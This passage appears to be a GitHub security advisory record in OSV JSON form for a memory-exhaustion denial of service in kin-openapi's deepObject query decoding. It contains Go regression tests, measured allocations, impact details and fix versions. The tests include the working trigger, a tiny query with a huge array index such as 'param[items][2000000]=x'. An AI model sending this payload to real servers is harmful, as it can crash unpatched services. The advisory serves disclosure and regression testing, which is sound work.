error {\n\t\treq, err := http.NewRequest(http.MethodGet, \"/q?\"+rawquery, nil)\n\t\trequire.NoError(t, err)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\treturn openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{\n\t\t\tRequest:    req,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute:      route,\n\t\t\tOptions:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t}\n\treturn doc, validate\n}\n\n// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single\n// tiny deepObject query with a large array index.\nfunc TestC02_Reproduce_MemoryExhaustion(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tbase := measureAlloc(func() {\n\t\t_ = validate(\"param[items][0]=a&param[items][1]=b&param[items][2]=c\")\n\t})\n\tt.Logf(\"baseline (3 legit items): %s allocated\", humanBytes(base))\n\n\tindexes := []int{10_000, 100_000, 1_000_000}\n\tif os.Getenv(\"C02_BIG\") == \"1\" {\n\t\tindexes = append(indexes, 5_000_000, 50_000_000)\n\t}\n\n\tconst fixThreshold = 32 << 20 // 32 MiB: no fixed-tree request should approach this\n\tworst := uint64(0)\n\tfor _, idx := range indexes {\n\t\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\t\talloc := measureAlloc(func() {\n\t\t\terr := validate(q)\n\t\t\trequire.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)\n\t\t})\n\t\tif alloc > worst {\n\t\t\tworst = alloc\n\t\t}\n\t\tratio := float64(alloc) / float64(len(q))\n\t\tt.Logf(\"index=%-10d query=%dB -> %s allocated (%.0fx over the query size)\",\n\t\t\tidx, len(q), humanBytes(alloc), ratio)\n\t}\n\trequire.Less(t, worst, uint64(fixThreshold),\n\t\t\"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high\",\n\t\thumanBytes(worst))\n}\n\n// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable\n// tree the huge allocation happened even though maxItems:3 is declared, proving\n// materialization precedes schema validation.\nfunc TestC02_AllocationBeforeValidation(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tconst idx = 2_000_000\n\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\n\tvar gotErr error\n\talloc := measureAlloc(func() {\n\t\tgotErr = validate(q)\n\t})\n\trequire.Error(t, gotErr)\n\tt.Logf(\"index=%d (query %d bytes) allocated %s; error: %v\",\n\t\tidx, len(q), humanBytes(alloc), gotErr)\n\n\t// On the vulnerable tree this value was ~225 MiB and this assertion fails,\n\t// flagging the regression. On the fixed tree it stays well under 32 MiB.\n\trequire.Less(t, alloc, uint64(32<<20),\n\t\t\"C-02 REGRESSION: index %d allocated %s before rejection\", idx, humanBytes(alloc))\n}\n\n// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and\n// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent\n// \"large index\" payload in those encodings does not explode.\nfunc TestC02_OnlyDeepObjectAffected(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /b:\n    post:\n      requestBody:\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tdo := func(ct, body string) (error, uint64) {\n\t\tvar e error\n\t\talloc := measureAlloc(func() {\n\t\t\treq, _ := http.NewRequest(http.MethodPost, \"/b\", strings.NewReader(body))\n\t\t\treq.Header.Set(\"Content-Type\", ct)\n\t\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\t\trequire.NoError(t, rerr)\n\t\t\te = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t})\n\t\treturn e, alloc\n\t}\n\n\t_, jsonAlloc := do(\"application/json\", `{\"items\":[\"a\",\"b\",\"c\",\"d\"]}`)\n\tt.Logf(\"JSON 4-elem array: %s\", humanBytes(jsonAlloc))\n\trequire.Less(t, jsonAlloc, uint64(4<<20), \"JSON path must not balloon\")\n\n\tform := url.Values{}\n\tform.Set(\"items\", \"a\")\n\tform.Add(\"items\", \"b\")\n\t_, formAlloc := do(\"application/x-www-form-urlencoded\", form.Encode())\n\tt.Logf(\"urlencoded repeated field: %s\", humanBytes(formAlloc))\n\trequire.Less(t, formAlloc, uint64(4<<20), \"urlencoded path must not balloon\")\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(&buf)\n\trequire.NoError(t, w.WriteField(\"items\", \"a\"))\n\trequire.NoError(t, w.WriteField(\"items\", \"b\"))\n\trequire.NoError(t, w.Close())\n\t_, mpAlloc := do(w.FormDataContentType(), buf.String())\n\tt.Logf(\"multipart fields: %s\", humanBytes(mpAlloc))\n\trequire.Less(t, mpAlloc, uint64(4<<20), \"multipart path must not balloon\")\n}\n\n// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points\n// (path/simple, header/simple, cookie/form). These build props via\n// propsFromString, whose keys are property names, not bracketed integer\n// indexes -- so a big number lands as a string key that fails strconv.Atoi\n// cleanly, without materializing a giant slice.\nfunc TestC02_NonDeepObjectStylesSafe(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /p/{param}:\n    get:\n      parameters:\n        - name: param\n          in: path\n          required: true\n          style: simple\n          explode: false\n          schema:\n            type: object\n            properties:\n              items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\talloc := measureAlloc(func() {\n\t\treq, _ := http.NewRequest(http.MethodGet, \"/p/items,5000000\", nil)\n\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\trequire.NoError(t, rerr)\n\t\t_ = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\tt.Logf(\"path/simple object with big scalar: %s\", humanBytes(alloc))\n\trequire.Less(t, alloc, uint64(4<<20), \"path/simple must not balloon\")\n}\n\nfunc humanBytes(b uint64) string {\n\tconst unit = 1024\n\tif b < unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n >= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.1f %ciB\", float64(b)/float64(div), \"KMGTPE\"[exp])\n}\n```\n\n**Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`):\n\n- **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected.\n- **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected.\n\n### Impact\n\n- **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.\n- **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it.\n- **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs.\n- **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/getkin/kin-openapi"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.124.0"
      }, {
        "fixed" : "0.142.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getkin/kin-openapi"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getkin/kin-openapi/releases/tag/v0.142.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-789" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-21T20:56:56Z",
    "nvd_published_at" : null
  }
}